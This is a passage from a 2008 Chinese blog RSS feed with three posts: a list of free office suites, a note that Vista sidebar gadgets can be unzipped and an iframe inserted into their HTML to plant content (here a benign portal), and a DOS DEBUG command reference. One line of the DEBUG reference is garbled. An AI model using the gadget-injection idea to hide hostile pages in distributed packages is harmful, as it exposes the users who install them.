Office的竞争对手也越来越多,而且产品质量上也有长足的进步,许多在功能上还有可喜的创新.下面是比较流行的6大Office办公套件,包括在线和桌面两种类型.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;在线版免费办公套件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/google-docs-logo-thumb.png&quot;&gt;&lt;img width=&quot;60&quot; height=&quot;60&quot; align=&quot;left&quot; src=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/google-docs-logo-thumb-thumb.png&quot; alt=&quot;google-docs-logo-thumb&quot; /&gt;&lt;/a&gt; &lt;strong&gt;1.&lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://docs.google.com/&quot; title=&quot;Google Docs&quot;&gt;&lt;strong&gt;Google Docs&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Google的在线Office套件也许是MS Office最大的竞争对手,在Google前不久发布了Google Presentation之后,电子文档,电子表格和演示文稿三大套件悉数到齐,可谓一个里程碑.Google Docs也可以说是目前质量最好的在线Office套件.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/soho-thumb.png&quot;&gt;&lt;img width=&quot;61&quot; height=&quot;27&quot; align=&quot;left&quot; src=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/soho-thumb-thumb.png&quot; alt=&quot;soho-thumb&quot; /&gt;&lt;/a&gt; &lt;strong&gt;2.&lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.zoho.com/&quot; title=&quot;Zoho&quot;&gt;&lt;strong&gt;Zoho&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Zoho是一个专注在线办公应用程序的网站,旗下的产品是几大在线办公软件提供商中最完整的一个.前不久还发布了Zoho DB,一个在线数据库管理软件.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/thinkfree-thumb.png&quot;&gt;&lt;img width=&quot;60&quot; height=&quot;68&quot; align=&quot;left&quot; src=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/thinkfree-thumb-thumb.png&quot; alt=&quot;thinkfree-thumb&quot; /&gt;&lt;/a&gt; 3.&lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.thinkfree.com/&quot; title=&quot;ThinkFree&quot;&gt;&lt;strong&gt;ThinkFree&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ThinkFree最大的特点是和MS Office的兼容性和界面的相似性.同时具有非常不错的协作功能.&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;桌面版免费办公套件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/staroffice-thumb.png&quot;&gt;&lt;img width=&quot;59&quot; height=&quot;31&quot; align=&quot;left&quot; src=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/staroffice-thumb-thumb.png&quot; alt=&quot;staroffice-thumb&quot; /&gt;&lt;/a&gt; 4.&lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.sun.com/software/star/staroffice/index.jsp&quot; title=&quot;StarOffice&quot;&gt;&lt;strong&gt;StarOffice&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sun出品的Office办公套件,能够通过Google Pack下载免费版本.StarOffice支持Windows,Linux和Solaris,Mac下需要下载StarOffice的师兄Open Office.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a  href=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/ibm-symphony-thumb.png&quot;&gt;&lt;img width=&quot;59&quot; height=&quot;58&quot; align=&quot;left&quot; src=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/ibm-symphony-thumb-thumb.png&quot; alt=&quot;ibm-symphony-thumb&quot; /&gt;&lt;/a&gt; 5.&lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://symphony.lotus.com/software/lotus/symphony/home.jspa&quot; title=&quot;IBM Lotus Symphony&quot;&gt;&lt;strong&gt;IBM Lotus Symphony&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IBM前不久发布的Office办公套件,针对个人和企业用户.拥有Office最常见的三大套件.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/openoffice-thumb.png&quot;&gt;&lt;img width=&quot;59&quot; height=&quot;20&quot; align=&quot;left&quot; src=&quot;http://wpcache.yo2.cn/wp-content/uploads/3/379/2007/10/openoffice-thumb-thumb.png&quot; alt=&quot;openoffice-thumb&quot; /&gt;&lt;/a&gt; 6.&lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.openoffice.org/&quot; title=&quot;OpenOffice&quot;&gt;&lt;strong&gt;OpenOffice&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Linux下最流行的OpenOffice是一个跨平台多语言的Office套件,和MS Office有着较好的兼容性,包括Writer,Impress(演示文稿),Math,Draw,Calc(电子表格)和Base(数据库). StarOffice和IBM Lotus Symphony都是基于OpenOffice的源代码开发而成.&lt;/p&gt;
&lt;p&gt;来自&lt;a target=&quot;_blank&quot; href=&quot;http://www.makeuseof.com/&quot; title=&quot;MakeUseOf&quot;&gt;MakeUseOf&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/f591c2815cea9f60758f6165cf0c5af5&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/f591c2815cea9f60758f6165cf0c5af5/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=b7e62da552a518044b3f2c1f22916ce7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=b7e62da552a518044b3f2c1f22916ce7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=b1f2bb1d569ad71379aff9f8b81ccbaa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=b1f2bb1d569ad71379aff9f8b81ccbaa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=969048782751efc9041efcd8a6aca393&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=969048782751efc9041efcd8a6aca393&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=774e268c1d99998aa80600e6024822eb&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=774e268c1d99998aa80600e6024822eb&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=378f784cbbbf126b615d247908c1b252&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=378f784cbbbf126b615d247908c1b252&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=4234300970f10109d69ff8cda3626ca7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=4234300970f10109d69ff8cda3626ca7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=5f1c2725cd4d608236bd412d9002b692&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=5f1c2725cd4d608236bd412d9002b692&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Mon, 05 May 2008 14:56:33 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=492</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=492</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278908/4066013</fs:itemid></item><item><title>Vista侧边栏也可以挂马？！</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278909/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=491</wfw:commentRss><description>喜欢炫酷的朋友们小心了，你是不是很喜欢定制自己的vista侧边栏？但是这个东东是可以插入XX的。&lt;br /&gt;&lt;br /&gt;侧边栏小程序是gadget格式的，看了MSDN的和一些相关的资料，用zip格式的压缩软件就能读取并修改内容的，在微软官方下来给Google的小插件（&lt;a href=&quot;http://vista.gallery.microsoft.com/vista/SideBar.aspx?mkt=zh-cn&quot; title=&quot;http://vista.gallery.microsoft.com/vista/SideBar.aspx?mkt=zh-cn&quot; target=&quot;_blank&quot;&gt;http://vista.gallery.microsoft.com/vista/SideBar.aspx?mkt=zh-cn&lt;/a&gt;  ），用7-zip打开看看里面是啥？&lt;br /&gt;&lt;div style=&quot;width: 100%;overflow-x : auto;&quot;&gt;&lt;a href=&quot;http://static9.photo.sina.com.cn/bmiddle/4c9ddabd44b63dbb5bc88&quot; target=&quot;_blank&quot;  rel=&quot;lightbox[roadtrip]&quot; alt=&quot;Welcome To My Blog&quot;&gt;&lt;img src=&quot;http://static9.photo.sina.com.cn/bmiddle/4c9ddabd44b63dbb5bc88&quot; onload=&quot;javascript:if(this.width&gt;550)this.width=550;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;看到了吗？无语了，就是一些简单的web文件构成的，F4编辑那个Google.html，在body下随便写个框架&lt;div class=&quot;code&quot;&gt;&amp;nbsp;&amp;lt;body scroll=&amp;#39;no&amp;#39; onload=&amp;quot;loadMain();&amp;quot;&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;iframe src=&amp;quot;http&amp;#58;//www.sina.com.cn/&amp;quot;&amp;gt;&lt;/div&gt;然后用7-zip保存，双击安装。&lt;br /&gt;&lt;div style=&quot;width: 100%;overflow-x : auto;&quot;&gt;&lt;a href=&quot;http://static15.photo.sina.com.cn/bmiddle/4c9ddabd44b63ea989f1e&quot; target=&quot;_blank&quot;  rel=&quot;lightbox[roadtrip]&quot; alt=&quot;Welcome To My Blog&quot;&gt;&lt;img src=&quot;http://static15.photo.sina.com.cn/bmiddle/4c9ddabd44b63ea989f1e&quot; onload=&quot;javascript:if(this.width&gt;550)this.width=550;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;再次无语，不过微软没那么傻X，是不能直接运行JS的，但是稍微绕个弯子就可以：）YY下，这种缺陷其实也挺傻X的，一个愿打，一个愿挨嘛。&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/ea2c148f1b79916758b8ffb083d55206&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/ea2c148f1b79916758b8ffb083d55206/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=7bcb7cc10c02fd35f168f27676f8c858&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=7bcb7cc10c02fd35f168f27676f8c858&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=728431ecf42c3fc7fbfd96a080f57ba4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=728431ecf42c3fc7fbfd96a080f57ba4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=3d6819c409bcc35a5aed6bdcadfbcdf7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=3d6819c409bcc35a5aed6bdcadfbcdf7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=1b1bfb752eaed596672c5324f6935600&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=1b1bfb752eaed596672c5324f6935600&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=932759e8b7608456104ad0c29d3be972&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=932759e8b7608456104ad0c29d3be972&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=2ad2211b4005276dc7f420b3b72ca700&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=2ad2211b4005276dc7f420b3b72ca700&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=62ee5ae3480bd42c3d983e07a58ebb76&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=62ee5ae3480bd42c3d983e07a58ebb76&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;!-- /Feedsky flare --&gt;</description><category>网海拾贝</category><pubDate>Sat, 26 Apr 2008 09:37:14 +0800</pubDate><author>nt_family &lt;nt_family&gt;</author><guid isPermaLink="false">http://www.woidiy.com/blog/article.asp?id=491</guid><dc:creator>nt_family &lt;nt_family&gt;</dc:creator><fs:srclink>http://www.woidiy.com/blog/article.asp?id=491</fs:srclink><fs:srcfeed>http://www.woidiy.com/blog/feed.asp</fs:srcfeed><fs:itemid>feedsky/woidiy/~5937607/72278909/4066013</fs:itemid></item><item><title>神秘的 DEBUG 命令行参数详解</title><link>http://item.feedsky.com/~feedsky/woidiy/~5937607/72278910/4066013/1/item.html</link><wfw:commentRss>http://www.woidiy.com/blog/feed.asp?q=comment&amp;id=490</wfw:commentRss><description>DEBUG&lt;br /&gt;命令行参数形式：&lt;br /&gt;格式：DEBUG [[驱动器号:][路径]文件名 [调试参数]]&lt;br /&gt;用途：debug将所指定文件装入内存，显示提示符“-”等待进一&lt;br /&gt;步命令。若装入文件为.exe文件，按照重定位原则装入为可执行状态&lt;br /&gt;。.com文件类似。若为其它类型文件则直接进行内存映射，由偏移量&lt;br /&gt;100H原封不动读入内存。&lt;br /&gt;debug将在缓冲区为被调试程序建立适当的PSP（程序段前缀，&lt;br /&gt;Program Segment Prefix）。在PSP中的偏移量80H为命令行的末尾。&lt;br /&gt;而且在偏移量5CH和6CH由包含参数后面的可选参数构成缺省的FCB（&lt;br /&gt;文件控制块，File Control Block）。&lt;br /&gt;进入时各寄存器初使情况：&lt;br /&gt;寄存器 .com程序 .exe程序&lt;br /&gt;AX 指定驱动器错误码 指定驱动器错误码&lt;br /&gt;BX 程序空间的高地址 程序空间的高地址&lt;br /&gt;CX 程序空间的低地址 程序空间的低地址&lt;br /&gt;DX 0 0 SI 0 0&lt;br /&gt;DI 0 0&lt;br /&gt;BP 0 0&lt;br /&gt;SP 0FFFFH或可利用的 不定&lt;br /&gt;内存空间上限减2&lt;br /&gt;IP 100H 目标程序的的代码&lt;br /&gt;入口偏移量&lt;br /&gt;CS PSP 目标程序代码段址&lt;br /&gt;DS PSP PSP&lt;br /&gt;CS PSP PSP&lt;br /&gt;SS PSP 目标程序堆栈段底&lt;br /&gt;命令：&lt;br /&gt;A: 编写汇编代码（Assemble）&lt;br /&gt;格式：A[地址]&lt;br /&gt;用途：程序允许在指定位置（若无缺省为IP指针位置）进行汇编&lt;br /&gt;程序书写。&lt;br /&gt;细节：&lt;br /&gt;*所有数值皆为十六进制整数，数值后不带“H”&lt;br /&gt;*不支持文件管理用的目录表、宏标记、条件汇编&lt;br /&gt;*跳转指令后要直接书写十六进制地址不支持标号&lt;br /&gt;*数据类型若非默认类型，要以PTR加以指定&lt;br /&gt;*字符串操作要指定类型为B或W（如lodsb和lodsw等）及长度&lt;br /&gt;*用DB和DW接受数据定义，直按进行汇编&lt;br /&gt;*对内存地址加[]以与立即数区分&lt;br /&gt;&lt;br /&gt;C: 内存内容比较（Compare）&lt;br /&gt;格式：C 地址范围 地址&lt;br /&gt;地址范围：做比较的第一个内存域始未地址或始地址和长度&lt;br /&gt;地址： 做比较的第二个内存域的始地址&lt;br /&gt;用途：*对内存中两个域的内容加以比较，以字节为单位。对发现有&lt;br /&gt;差别的内容及其地址用如下形式显示出：&lt;br /&gt;地址1 始位置 未位置 地址2&lt;br /&gt;*若地址范围或地址不含段地址，默认为DS的值。&lt;br /&gt;D: 显示内存内容（Dump）&lt;br /&gt;格式：D[地址范围]&lt;br /&gt;地址范围：给定显示区的始未范围或始地址和长度。&lt;br /&gt;用途：*内存内容显示指令，以十六进制和ASCII码形式显示指定范&lt;br /&gt;围内的内存内容。&lt;br /&gt;*若不指定范围，第一次按目标程序的CS：IP的位址开始显示。&lt;br /&gt;以后使用上次显示的未地址的下一地址为开始进行显示。&lt;br /&gt;*若不指定长度，则显示128byte的内容。计8行。&lt;br /&gt;&lt;br /&gt;E: 数据的输入&lt;br /&gt;格式：E 地址 数值列表&lt;br /&gt;地址： 数据输入的内存始地址&lt;br /&gt;数值列表：从始地址输入的连续数据&lt;br /&gt;用途：*向内存区域输入数据。数据以十六进制形式，或以ASCII码形式&lt;br /&gt;均可。覆盖掉原有数据。&lt;br /&gt;*十六进制时要用空格、逗号或制表符加以分隔。字符串则要用单&lt;br /&gt;引号或双引号括起且区分大小写。&lt;br /&gt;*若不指写段址，则默认为DS中值。每写完一数据地址自动增加。&lt;br /&gt;*如省略数值列表，对应每一字节请求输入。点号前为该字节原&lt;br /&gt;始值，点号后请求输入。这时若按空格，跳过这一字节；按回车，&lt;br /&gt;结束输入；按减号或连字符，显示前一字节内容。&lt;br /&gt;　　　　 *出错时内存内容有可能已被改变。提示后终止。&lt;br /&gt;*字符串只能以数值列表的形式输入，不能按地址提式输入。&lt;br /&gt;&lt;br /&gt;F: 内存填充（Fill）&lt;br /&gt;格式：F 地址范围　数值列表&lt;br /&gt;　　　　地址范围：数据输入的内存始本地址或首地址和长度&lt;br /&gt;数值列表：从始地址输入的连续数据&lt;br /&gt;　 用途：*将列表中数据写入内存。输入数据以十六进制或ASCII码形式。&lt;br /&gt;　　　　 覆盖原有信息；若出错，显示出错信息，原有信息保留。&lt;br /&gt;　　　　 *若未指写段址，默认为DS寄存器值。&lt;br /&gt;　　　　 *列表中可有十六进制或字符串两种形式，各内容用空格、逗号、&lt;br /&gt;　　　　 制表符隔开。字符串必须以单引号或双引号括起，区分大小写。&lt;br /&gt;　　　　 *若要填充区域大于数据数目，列表可重复使用；相反，若列表&lt;br /&gt;　　　　 比要填充区域大时，则自动截断后面的数据。&lt;br /&gt;&lt;br /&gt;G: 程序执行（Go）&lt;br /&gt;格式：G[=地址][断点0][……断点]&lt;br /&gt;地址： Debug开始执行的地址。&lt;br /&gt;断点0……断点9：指定的0—10个临时中断点。&lt;br /&gt;用途：*将CPU控制权由Debug转移给被调试中的程序。不设断点时，则程&lt;br /&gt;序的执行或是中途失败蚴钦＝崾＝崾保崾居小癙rogram&lt;br /&gt;termminated nomally”，即程序结束正常，控制权再返回到&lt;br /&gt;Debug。&lt;br /&gt;*此时因数据有可能重写，若需再次执行，因重新装入。&lt;br /&gt;*地址中，如未指定段址，则使用目标程序的CS寄存器中的值。当&lt;br /&gt;地址省略时，则Debug使用目标程序的CS:IP寄存器的值开始执行。&lt;br /&gt;且为与断点区分，地址参数前必须加等号，否则将其认为是第零&lt;br /&gt;个断点。&lt;br /&gt;*断点参数可指定10个临时断点。当程序执行到指定的断点地址时&lt;br /&gt;则发生中止。与断点表内的次序无关，断点可按任意次序输入。&lt;br /&gt;*中止时，将会显示寄存器的内容、标志位状态及CS:IP指出的指&lt;br /&gt;令（也就是下一条将要执行的指令），然后是提示符“-”。&lt;br /&gt;*若没有装入可执行程序或程序内容未知，有可能进入死状态。&lt;br /&gt;*若目标程序的栈不起作用或太小，则可能引起系统“破碎”。&lt;br /&gt;&lt;br /&gt;H: 执行十六进制算术运算（Hexadecimal）&lt;br /&gt;格式：H 值1 值2&lt;br /&gt;值1、2为0—FFFFH范围内的任意十六进制数。&lt;br /&gt;用途：*用来求两个十六进制数的和、差，对结果显示为值1+值2及值1-&lt;br /&gt;值2。如果值2 &amp;gt; 值1则显示其补码。&lt;br /&gt;*虽然很少用，但事实还是很有用的，熟练掌握。&lt;br /&gt;&lt;br /&gt;I: 端口的输入（Input）&lt;br /&gt;格式：I 端口地址&lt;br /&gt;端口地址：0—FFFF范围内的I/O端口地址。&lt;br /&gt;用途：用来读取指定I/O端口地址，并以2位十六进制数加以显示。&lt;br /&gt;警告：I指令将直接访问计算机硬件，不是所以错误检查都能进行，所以&lt;br /&gt;使用是必须小心。对某个外设控制器分配端口的输入操作，可能&lt;br /&gt;干涉系统固有的操作。对没有分配指定I/O端口的设备，或该端口&lt;br /&gt;为写入专用端口等情况，I命令都不能保证可显示。&lt;br /&gt;&lt;br /&gt;L: 装入命令（Load）&lt;br /&gt;格式：L 地址&lt;br /&gt;或&lt;br /&gt;L 地址 驱动器 开始扇区 扇区数&lt;br /&gt;地址： 存放从盘中读出数据的内存地址。&lt;br /&gt;驱动器： A=0, B=1, C=2, 以此类推。&lt;br /&gt;开始扇区：以十六进制数表示要最先装入的逻辑扇区号。&lt;br /&gt;扇区数： 以十六进制数表示要装入连续扇区个数。&lt;br /&gt;用途：*若输入了一个不完全的L命令时，则对下述磁盘文件进行装入：&lt;br /&gt;1在Debug命令行中指定过的文件；&lt;br /&gt;2由命令末尾参数N指定的文件。&lt;br /&gt;*在地址中若未指定段址，则使用CS中的值。若为可执行文件按重&lt;br /&gt;定位原则装入为可执行状态。&lt;br /&gt;*装入后文件长度，或.exe文件程序的实际长度放入目标程序的BX&lt;br /&gt;和CX两个寄存器中。高十六位放在BX中。&lt;br /&gt;*若在命令行中给出所有参数，则不必用MS-DOS的文件系统访问磁&lt;br /&gt;盘。&lt;br /&gt;&lt;br /&gt;M: 数据传送（Move）&lt;br /&gt;格式：M 地址范围 地址&lt;br /&gt;地址范围：被复制域的始末地址，或始地址和长度。&lt;br /&gt;地址： 数据复制目的域的起始地址。&lt;br /&gt;用途：*对内存中数据进行复制。目的域被覆盖。&lt;br /&gt;*若地址范围中无段址，则使用DS内容；若地址中无段址，使用地&lt;br /&gt;址范围中的值。&lt;br /&gt;&lt;br /&gt;N: 文件名或命令末尾的参数（Name）&lt;br /&gt;格式：N 参数 [参数……]&lt;br /&gt;参数：插入到仿真的PSP中去一个以上的文件名或者是开关项。&lt;br /&gt;用途：*对磁盘读写操作L、W指定目标文件。&lt;br /&gt;&lt;br /&gt;O: 端口的输出（Output）&lt;br /&gt;格式：O 端口 字节&lt;br /&gt;端口：I/O端口地址。&lt;br /&gt;字节：写入I/O端口的0—FFFF范围的值。&lt;br /&gt;用途：向I/O端口地址写入一字节。&lt;br /&gt;警告：错误的操作将导致系统崩溃。&lt;br /&gt;&lt;br /&gt;P: 循环或子程序处理（Procedure）&lt;br /&gt;格式：P[=地址] [命令数]&lt;br /&gt;地址： 执行的起始地址。&lt;br /&gt;指令数：执行的指令条数。&lt;br /&gt;用途：*循环或子程序处理。将循环、串指令、软件中断或子程序调用&lt;br /&gt;视为单语句。执行中了，显示目标程序寄存器内容、标志位状态&lt;br /&gt;和下一条要执行的指令。&lt;br /&gt;*若地址参数中无段址，则使用CS中的值。完全忽略地址时，则从&lt;br /&gt;程序中的CS:IP指定位置开始执行。&lt;br /&gt;&lt;br /&gt;Q: 结束Debug操作（Quit）&lt;br /&gt;格式：Q&lt;br /&gt;用途：程序结束返回。对未保存的结果丢失。&lt;br /&gt;&lt;br /&gt;R: 寄存器显示与更改（Register）&lt;br /&gt;格式：R [寄存器]&lt;br /&gt;寄存器：AX BX CX DX SP BP SI DI&lt;br /&gt;DS ES CS IP PC&lt;br /&gt;F&lt;br /&gt;用途：*若R不带参数，则显示所有寄存器的内容和状态标志、下一指令。&lt;br /&gt;*若指定新值，在显示内容后，给出冒句提示输入新值。回车结束。&lt;br /&gt;*对状态字F，在连字符“-”后以空格间隔输入新值，次序不计。&lt;br /&gt;*若直接回车，则跳过修改，寄存器内容不变。&lt;br /&gt;&lt;br /&gt;S: 内存检索（Search）&lt;br /&gt;格式：S 地址范围 列表&lt;br /&gt;地址范围：想来你该明白是什么样了吧：）&lt;br /&gt;列表： 欲检索的一个以上的字节值或字符串。&lt;br /&gt;用途：*在指定的内存范围内检索列表的值。对每一个匹配的地址进行&lt;br /&gt;显示。&lt;br /&gt;*若起地址中无段址，默认为DS的值。&lt;br /&gt;*检索范围不得大于FFFFH&lt;br /&gt;*列表必须以分隔符（空格，逗号，制表符等）分隔；字符串要加&lt;br /&gt;单引号或双引号括起，区分大小写。&lt;br /&gt;&lt;br /&gt;T: 程序执行跟踪（Trace）&lt;br /&gt;格式：T[=地址][指令数]&lt;br /&gt;地址： 执行的第一条指令的地址。&lt;br /&gt;指定数：执行的机器指令的条数。&lt;br /&gt;用途：*执行单条指令，显示寄存器及下一条指令。&lt;br /&gt;*在地址参数中若无段址，则默认为CS寄存器的值。&lt;br /&gt;*若全部省略，则由CS:IP寄存器指出的地址开始执行。&lt;br /&gt;*以后则顺序执行。&lt;br /&gt;*对ROM内的跟踪应使用T命令。&lt;br /&gt;警告：对Intel 8259 中断屏幕的内容（IBM PC及兼容机端口20H和21H）&lt;br /&gt;的更改，或者系统功能调用（INT 21H），不能使用T指令，对上述&lt;br /&gt;情况要使用P指令。&lt;br /&gt;&lt;br /&gt;U: 反汇编（Unassemble）&lt;br /&gt;格式：U [地址范围]&lt;br /&gt;用途：*将机器指定解码为汇编语言的助记符。&lt;br /&gt;*地址范围中无段址时，默认使用CS值。&lt;br /&gt;*当始地址与实际边界不一致时，结果将不可信。&lt;br /&gt;*若不含末地址或长度，则自给定始地址起反汇编32个字节。&lt;br /&gt;*以后由前次U最后一指令的下一指令做32字节的反汇编。&lt;br /&gt;*若从没用过U，则于CS:IP开始进行反汇编。&lt;br /&gt;*只能对8086指令解码，对其它以DB来显示。&lt;br /&gt;&lt;br /&gt;W: 写入文件或扇区（Write）&lt;br /&gt;格式：W [地址]&lt;br /&gt;或&lt;br /&gt;W 地址 驱动器 开始扇区 扇区数&lt;br /&gt;地址： 待写入盘的数据在内存中的起始位置。&lt;br /&gt;驱动器：写入数据的盘的驱动器号（A=0，B=1，C=2，以下类推）。&lt;br /&gt;始扇区：写入数据的最前的逻辑扇区号（0—FFFFH）。&lt;br /&gt;扇区数：写入数据的连续扇区个数（0—FFFFH）。&lt;br /&gt;用途：*将内存中的文件或一个个扇区传送到磁盘上。&lt;br /&gt;*W若不带参数，或只有地址参数，则按BX:CX寄存器指出的字节，从内&lt;br /&gt;存向磁盘写入数据。此时的文件名是此命令前最后一个使用过的文件名&lt;br /&gt;，或者是N命令中指定的文件，如果没有使用过N命令，则使用Debug命&lt;br /&gt;令行中指定的文件。&lt;br /&gt;*Debug的W命令，不能向扩展名为.EXE或.HEX的文件中写入数据。&lt;br /&gt;*这可用改扩展名的方法得到应用，让其能对.exe文件写入。&lt;br /&gt;*若无地址项，则认为是目标程序的CS:0100H。&lt;br /&gt;*该命令可不通过MS-DOS的文件系统直接访问磁盘的逻辑扇区。但必须&lt;br /&gt;以十六进制形式给在命令行中给定各参数。&lt;br /&gt;*W命令不能对用于网络上的驱动器进行逻辑扇区写入处理。&lt;br /&gt;警告：若参数有误，则可能破坏盘文件结构。&lt;br /&gt;请务必先搞清再作试践，特别是对硬盘的操作。&lt;br /&gt;&lt;!-- Feedsky ad --&gt;&lt;a href=&quot;http://feed.feedsky.com/~cpm/c/woidiy/94d80e2376e6b39e8a5b64733f70e3f2&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~cpm/woidiy/94d80e2376e6b39e8a5b64733f70e3f2/s.gif&quot; border=&quot;0&quot; style=&quot;margin-top:5px;&quot; /&gt;&lt;/a&gt;&lt;!-- /Feedsky ad --&gt;&lt;br /&gt;&lt;!-- Feedsky flare --&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/woidiy?a=343cb65a179cd6fd35505ca3301e0163&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/woidiy?i=343cb65a179cd6fd35505ca3301e0163&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a 